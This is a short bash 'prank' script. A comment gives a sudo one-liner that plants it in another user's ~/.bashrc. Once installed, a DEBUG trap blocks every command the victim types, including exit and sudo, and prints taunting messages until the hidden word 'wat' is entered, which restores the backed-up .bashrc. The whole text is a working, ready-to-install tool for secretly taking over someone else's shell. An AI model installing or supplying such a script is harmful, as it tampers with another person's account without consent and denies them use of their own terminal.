Simple bash prank

evil

# This script disables execution of commands and echoes messages to the user, to disable type: "wat"
#
# To install this, you need to have access to the user's home directory.
# sudo -u <user> -i sh -c 'cp /path/to/evil ~/.evil && cp ~/.bashrc ~/.bashrc.ebak && echo ". ~/.evil" >> ~/.bashrc'

shopt -s extdebug

function disable_evil() {
    rm ~/.evil
    rm ~/.bashrc
    mv ~/.bashrc.ebak ~/.bashrc
    exit
}

function WHAT() {
    local this_command=`history 1 | sed -e "s/^[ ]*[0-9]*[ ]*//g"`;
    
    case "$this_command" in
        wat)
            disable_evil;;
        exit*)
            echo 'There is no escape!'
            return 1;;
        sudo*)
            echo 'Lol, no.'
            return 1;;
        *)
            echo 'What?!?!?!?'
            return 1;;
    esac
}

trap 'WHAT' DEBUG